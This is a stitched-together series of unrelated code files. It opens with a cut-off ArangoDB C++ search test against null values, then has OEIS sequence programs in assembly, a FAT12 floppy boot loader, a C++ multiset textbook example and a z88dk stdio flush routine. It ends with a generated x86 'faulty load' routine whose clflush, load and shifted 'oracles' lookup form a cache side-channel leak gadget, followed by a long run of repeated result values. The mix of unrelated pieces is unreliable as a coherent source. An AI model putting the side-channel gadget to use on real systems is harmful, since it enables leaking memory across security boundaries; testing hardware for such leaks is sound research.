expectedDocs.end()); EXPECT_TRUE(0 == arangodb::basics::VelocyPackHelper::compare(expectedDoc->second, resolved, true)); expectedDocs.erase(expectedDoc); } EXPECT_TRUE(expectedDocs.empty()); } // d.value <= null, BM25(), TFIDF(), d.seq DESC { std::map<ptrdiff_t, arangodb::velocypack::Slice> expectedDocs; for (auto const& doc : insertedDocs) { arangodb::velocypack::Slice docSlice = doc.slice().resolveExternals(); auto const valueSlice = docSlice.get("value"); if (valueSlice.isNone() || !valueSlice.isNull()) { continue; } auto const keySlice = docSlice.get("seq"); expectedDocs.emplace(keySlice.getNumber<ptrdiff_t>(), docSlice); } auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value <= null SORT BM25(d), TFIDF(d), " "d.seq DESC RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(expectedDocs.size() == resultIt.size()); auto expectedDoc = expectedDocs.rbegin(); for (auto const actualDoc : resultIt) { auto const resolved = actualDoc.resolveExternals(); EXPECT_TRUE(0 == arangodb::basics::VelocyPackHelper::compare(expectedDoc->second, resolved, true)); ++expectedDoc; } EXPECT_TRUE(expectedDoc == expectedDocs.rend()); } // ----------------------------------------------------------------------------- // --SECTION-- > // ----------------------------------------------------------------------------- // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value > 'null' RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value > false RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value > 0 RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // d.value > null { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value > null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // ----------------------------------------------------------------------------- // --SECTION-- >= // ----------------------------------------------------------------------------- // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value >= 'null' RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value >= 0 RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value >= false RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // d.value >= null, unordered { std::map<size_t, arangodb::velocypack::Slice> expectedDocs; for (auto const& doc : insertedDocs) { arangodb::velocypack::Slice docSlice = doc.slice().resolveExternals(); auto const valueSlice = docSlice.get("value"); if (valueSlice.isNone() || !valueSlice.isNull()) { continue; } auto const keySlice = docSlice.get("seq"); expectedDocs.emplace(keySlice.getNumber<ptrdiff_t>(), docSlice); } auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value >= null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(expectedDocs.size() == resultIt.size()); for (auto const actualDoc : resultIt) { auto const resolved = actualDoc.resolveExternals(); auto const keySlice = resolved.get("seq"); auto const key = keySlice.getNumber<ptrdiff_t>(); auto expectedDoc = expectedDocs.find(key); ASSERT_TRUE(expectedDoc != expectedDocs.end()); EXPECT_TRUE(0 == arangodb::basics::VelocyPackHelper::compare(expectedDoc->second, resolved, true)); expectedDocs.erase(expectedDoc); } EXPECT_TRUE(expectedDocs.empty()); } // d.value >= null, BM25(), TFIDF(), d.seq DESC { std::map<ptrdiff_t, arangodb::velocypack::Slice> expectedDocs; for (auto const& doc : insertedDocs) { arangodb::velocypack::Slice docSlice = doc.slice().resolveExternals(); auto const valueSlice = docSlice.get("value"); if (valueSlice.isNone() || !valueSlice.isNull()) { continue; } auto const keySlice = docSlice.get("seq"); expectedDocs.emplace(keySlice.getNumber<ptrdiff_t>(), docSlice); } auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value >= null SORT BM25(d), TFIDF(d), " "d.seq DESC RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(expectedDocs.size() == resultIt.size()); auto expectedDoc = expectedDocs.rbegin(); for (auto const actualDoc : resultIt) { auto const resolved = actualDoc.resolveExternals(); EXPECT_TRUE(0 == arangodb::basics::VelocyPackHelper::compare(expectedDoc->second, resolved, true)); ++expectedDoc; } EXPECT_TRUE(expectedDoc == expectedDocs.rend()); } // ----------------------------------------------------------------------------- // --SECTION-- Range(>, <) // ----------------------------------------------------------------------------- // invalid type { auto queryResult = arangodb::tests::executeQuery(vocbase, "FOR d IN testView SEARCH d.value > " "'null' and d.value < null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value > 0 and d.value < null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value > false and d.value < null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // empty range { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value > null and d.value < null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // ----------------------------------------------------------------------------- // --SECTION-- Range(>=, <) // ----------------------------------------------------------------------------- // invalid type { auto queryResult = arangodb::tests::executeQuery(vocbase, "FOR d IN testView SEARCH d.value >= " "'null' and d.value < null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value >= 0 and d.value < null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery(vocbase, "FOR d IN testView SEARCH d.value >= " "false and d.value < null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // empty range { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value >= null and d.value < null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // ----------------------------------------------------------------------------- // --SECTION-- Range(>, <=) // ----------------------------------------------------------------------------- // invalid type { auto queryResult = arangodb::tests::executeQuery(vocbase, "FOR d IN testView SEARCH d.value > " "'null' and d.value <= null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value > 0 and d.value <= null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery(vocbase, "FOR d IN testView SEARCH d.value > " "false and d.value <= null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // empty range { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value > null and d.value <= null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // ----------------------------------------------------------------------------- // --SECTION-- Range(>=, <=) // ----------------------------------------------------------------------------- // invalid type { auto queryResult = arangodb::tests::executeQuery(vocbase, "FOR d IN testView SEARCH d.value >= " "'null' and d.value <= null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value >= 0 and d.value <= null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery(vocbase, "FOR d IN testView SEARCH d.value >= " "false and d.value <= null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // d.value >= null and d.value <= null, unordered { std::map<size_t, arangodb::velocypack::Slice> expectedDocs; for (auto const& doc : insertedDocs) { arangodb::velocypack::Slice docSlice = doc.slice().resolveExternals(); auto const valueSlice = docSlice.get("value"); if (valueSlice.isNone() || !valueSlice.isNull()) { continue; } auto const keySlice = docSlice.get("seq"); expectedDocs.emplace(keySlice.getNumber<ptrdiff_t>(), docSlice); } auto queryResult = arangodb::tests::executeQuery(vocbase, "FOR d IN testView SEARCH d.value >= " "null and d.value <= null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(expectedDocs.size() == resultIt.size()); for (auto const actualDoc : resultIt) { auto const resolved = actualDoc.resolveExternals(); auto const keySlice = resolved.get("seq"); auto const key = keySlice.getNumber<ptrdiff_t>(); auto expectedDoc = expectedDocs.find(key); ASSERT_TRUE(expectedDoc != expectedDocs.end()); EXPECT_TRUE(0 == arangodb::basics::VelocyPackHelper::compare(expectedDoc->second, resolved, true)); expectedDocs.erase(expectedDoc); } EXPECT_TRUE(expectedDocs.empty()); } // d.value >= null and d.value <= null, BM25(), TFIDF(), d.seq DESC // (will be converted to d.value >= 0 AND d.value <= 0) { std::map<ptrdiff_t, arangodb::velocypack::Slice> expectedDocs; for (auto const& doc : insertedDocs) { arangodb::velocypack::Slice docSlice = doc.slice().resolveExternals(); auto const valueSlice = docSlice.get("value"); if (valueSlice.isNone() || !valueSlice.isNull()) { continue; } auto const keySlice = docSlice.get("seq"); expectedDocs.emplace(keySlice.getNumber<ptrdiff_t>(), docSlice); } auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value >= null and d.value <= null SORT " "BM25(d), TFIDF(d), d.seq DESC RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(expectedDocs.size() == resultIt.size()); auto expectedDoc = expectedDocs.rbegin(); for (auto const actualDoc : resultIt) { auto const resolved = actualDoc.resolveExternals(); EXPECT_TRUE(0 == arangodb::basics::VelocyPackHelper::compare(expectedDoc->second, resolved, true)); ++expectedDoc; } EXPECT_TRUE(expectedDoc == expectedDocs.rend()); } // ----------------------------------------------------------------------------- // --SECTION-- Range(>=, <=) // ----------------------------------------------------------------------------- // d.value >= null and d.value <= null, unordered // (will be converted to d.value >= 0 AND d.value <= 0) { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value IN null..null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); EXPECT_TRUE(!resultIt.valid()); } // d.seq >= nullptr AND d.seq <= nullptr, unordered // (will be converted to d.seq >= 0 AND d.seq <= 0) { std::unordered_map<size_t, arangodb::velocypack::Slice> expectedDocs{ {0, insertedDocs[7].slice()}, // seq == 0 }; auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.seq IN null..null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); ASSERT_TRUE(expectedDocs.size() == resultIt.size()); EXPECT_TRUE(resultIt.valid()); for (auto const actualDoc : resultIt) { auto const resolved = actualDoc.resolveExternals(); auto key = resolved.get("seq"); auto expectedDoc = expectedDocs.find(key.getNumber<size_t>()); EXPECT_TRUE(expectedDoc != expectedDocs.end()); EXPECT_TRUE(0 == arangodb::basics::VelocyPackHelper::compare(expectedDoc->second, resolved, true)); expectedDocs.erase(expectedDoc); } EXPECT_TRUE(expectedDocs.empty()); } // d.value >= null and d.value <= null, BM25(), TFIDF(), d.seq DESC // (will be converted to d.value >= 0 AND d.value <= 0) { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value IN null..null SORT BM25(d), " "TFIDF(d), d.seq DESC RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); EXPECT_TRUE(!resultIt.valid()); } }
; A021867: Decimal expansion of 1/863. ; Submitted by Jon Maiga ; 0,0,1,1,5,8,7,4,8,5,5,1,5,6,4,3,1,0,5,4,4,6,1,1,8,1,9,2,3,5,2,2,5,9,5,5,9,6,7,5,5,5,0,4,0,5,5,6,1,9,9,3,0,4,7,5,0,8,6,9,0,6,1,4,1,3,6,7,3,2,3,2,9,0,8,4,5,8,8,6,4,4,2,6,4,1,9,4,6,6,9,7,5,6,6,6,2,8,0 add $0,1 mov $2,10 pow $2,$0 div $2,863 mov $0,$2 mod $0,10
; A212565: Number of (w,x,y,z) with all terms in {1,...,n} and w+x>=2y+2z. ; 0,0,1,8,28,74,159,304,528,860,1325,1960,2796,3878,5243,6944,9024,11544,14553,18120,22300,27170,32791,39248,46608,54964,64389,74984,86828,100030,114675,130880,148736,168368,189873,213384,239004,266874,297103,329840,365200,403340,444381,488488,535788,586454,640619,698464,760128,825800,895625,969800,1048476,1131858,1220103,1313424,1411984,1516004,1625653,1741160,1862700,1990510,2124771,2265728,2413568,2568544,2730849,2900744,3078428,3264170,3458175,3660720,3872016,4092348,4321933,4561064,4809964,5068934,5338203,5618080,5908800,6210680,6523961,6848968,7185948,7535234,7897079,8271824,8659728,9061140,9476325,9905640,10349356,10807838,11281363,11770304,12274944,12795664,13332753,13886600 mov $3,$0 mov $5,$0 lpb $3 mov $0,$5 mov $2,0 sub $3,1 sub $0,$3 sub $0,1 mov $4,$0 mul $4,$0 div $4,4 lpb $0 add $4,$0 sub $0,1 add $2,$4 lpe add $1,$2 lpe mov $0,$1
; hello-os CYLS EQU 10 ; 读取的柱面数量(CYLS = cylinders) ORG 0x7c00 ; 指明程序的装载地址 ; 用于标准FAT12格式的软盘 JMP entry ; 跳转指令 NOP ; NOP指令 DB "HARIBOTE" ; OEM标识符(8字节) DW 512 ; 每个扇区(sector)的字节数(必须为512字节) DB 1 ; 每个簇(cluster)的扇区数(必须为1个扇区) DW 1 ; FAT的预留扇区数(包含boot扇区) DB 2 ; FAT表的数量,通常为2 DW 224 ; 根目录文件的最大值(一般设为224项) DW 2880 ; 磁盘的扇区总数,若为0则代表超过65535个扇区,需要使用22行记录 DB 0xf0 ; 磁盘的种类(本项目中设为0xf0代表1.44MB的软盘) DW 9 ; 每个FAT的长度(必须为9扇区) DW 18 ; 1个磁道(track)拥有的扇区数(必须是18) DW 2 ; 磁头数(必须为2) DD 0 ; 隐藏的扇区数 DD 2880 ; 大容量扇区总数,若16行记录的值为0则使用本行记录扇区数 DB 0 ; 中断0x13的设备号 DB 0 ; Windows NT标识符 DB 0x29 ; 扩展引导标识 DD 0xffffffff ; 卷序列号 DB "HARIBOTEOS " ; 卷标(11字节) DB "FAT12 " ; 文件系统类型(8字节) RESB 18 ; 空18字节 ; 程序核心 entry: MOV AX, 0 ; 初始化寄存器 MOV SS, AX MOV SP, 0x7c00 MOV DS, AX ; 读取硬盘 MOV AX, 0x0820 MOV ES, AX MOV CH, 0 ; 柱面0 MOV DH, 0 ; 磁头0 MOV CL, 2 ; 扇区2 readloop: MOV SI, 0 ; 记录失败次数的寄存器 retry: MOV AH, 0x02 ; AH=0x02:读盘 MOV AL, 1 ; 1个扇区 MOV BX, 0 MOV DL, 0x00 ; A驱动器 INT 0x13 ; 调用磁盘BIOS JNC next ; 没出错跳转到next ADD SI, 1 ; 失败次数+1 CMP SI, 5 ; 失败次数是否达到5次 JAE error ; 失败次数达到5次跳转到error MOV AH, 0x00 MOV DL, 0x00 ; A驱动器 INT 0x13 ; 重置驱动器 JMP retry next: MOV AX, ES ; 把内存地址后移0x200 ADD AX, 0x0020 MOV ES, AX ; 实现ES += 0x0020的目的 ; 扇区范围 1~18 ADD CL, 1 ; 扇区加1 CMP CL, 18 ; 扇区是否达到18 JBE readloop ; 小于等于18扇区则跳转到readloop MOV CL, 1 ; 恢复到扇区1 ; 磁头范围 0~1(正面0,反面1) ADD DH, 1 CMP DH, 2 JB readloop ; 磁头未达到2则跳转到readloop MOV DH, 0 ; 柱面范围 0 ~ 79 ADD CH, 1 CMP CH, CYLS JB readloop ; 读取指定数量的柱面,未达到CYLS则跳转readloop ; 读取完毕,跳转到haribote.sys执行 MOV [0x0ff0], CH ; 记下IPL读了多远(谷歌翻译自IPLがどこまで読んだのかをメモ) JMP 0xc200 fin: HLT ; CPU停止,等待指令 JMP fin ; 无限循环 error: MOV SI, msg putloop: MOV AL, [SI] ADD SI, 1 ; SI加1 CMP AL, 0 JE fin MOV AH, 0x0e ; 显示一个文字 MOV BX, 15 ; 指定字符颜色 INT 0x10 ; 调用显卡BIOS JMP putloop msg: DB 0x0a, 0x0a ; 两个换行 DB "load error" DB 0x0a ; 换行 DB 0 RESB 0x1fe - ($ - $$) ; 填写0x00,直到0x001fe DB 0x55, 0xaa
/* The following code example is taken from the book * "The C++ Standard Library - A Tutorial and Reference" * by Nicolai M. Josuttis, Addison-Wesley, 1999 * * (C) Copyright Nicolai M. Josuttis 1999. * Permission to copy, use, modify, sell and distribute this software * is granted provided this copyright notice appears in all copies. * This software is provided "as is" without express or implied * warranty, and with no claim as to its suitability for any purpose. */ #include <iostream> #include <set> #include <algorithm> #include <iterator> using namespace std; int main() { /* type of the collection: * - duplicates allowed * - elements are integral values * - descending order */ typedef multiset<int,greater<int> > IntSet; IntSet coll1; // empty multiset container // insert elements in random order coll1.insert(4); coll1.insert(3); coll1.insert(5); coll1.insert(1); coll1.insert(6); coll1.insert(2); coll1.insert(5); // iterate over all elements and print them IntSet::iterator pos; for (pos = coll1.begin(); pos != coll1.end(); ++pos) { cout << *pos << ' '; } cout << endl; // insert 4 again and process return value IntSet::iterator ipos = coll1.insert(4); cout << "4 inserted as element " << distance(coll1.begin(),ipos) + 1 << endl; // assign elements to another multiset with ascending order multiset<int> coll2(coll1.begin(), coll1.end()); // print all elements of the copy copy (coll2.begin(), coll2.end(), ostream_iterator<int>(cout," ")); cout << endl; // remove all elements up to element with value 3 coll2.erase (coll2.begin(), coll2.find(3)); // remove all elements with value 5 int num; num = coll2.erase (5); cout << num << " element(s) removed" << endl; // print all elements copy (coll2.begin(), coll2.end(), ostream_iterator<int>(cout," ")); cout << endl; }
INCLUDE "config_private.inc" SECTION code_clib SECTION code_stdio PUBLIC asm__fflushall_unlocked EXTERN __stdio_open_file_list EXTERN asm1_fflush_unlocked, asm_p_forward_list_next ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $04 EXTERN __stdio_lock_file_list, __stdio_unlock_file_list ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; asm__fflushall_unlocked: ; enter : none ; ; exit : ix = 0 ; carry reset ; ; uses : all ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $04 call __stdio_lock_file_list ; acquire list lock ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ld hl,__stdio_open_file_list file_loop: call asm_p_forward_list_next push hl pop ix ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $04 jp z, __stdio_unlock_file_list ; if no more open files in list ELSE ret z ; if no more open files in list ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; push hl call asm1_fflush_unlocked pop hl jr file_loop
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_A+0x15c19, %rsi lea addresses_UC+0x16e19, %rdi nop nop xor %r14, %r14 mov $27, %rcx rep movsl nop nop nop and $57941, %rsi // Faulty Load lea addresses_A+0x15c19, %r8 clflush (%r8) nop nop sub $6450, %rbx mov (%r8), %si lea oracles, %rdi and $0xff, %rsi shlq $12, %rsi mov (%rdi,%rsi,1), %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_UC', 'congruent': 9, 'same': False}, 'OP': 'REPM'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 